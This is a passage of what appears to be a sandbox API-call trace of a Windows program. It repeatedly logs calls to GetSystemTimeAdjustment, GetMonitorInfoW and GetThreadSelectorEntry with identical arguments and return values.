lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.251] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.251] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.252] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.252] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.252] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.253] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.253] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.253] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.254] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.254] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.254] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.255] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.255] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.255] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0091.256] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0091.256] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0091.256] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 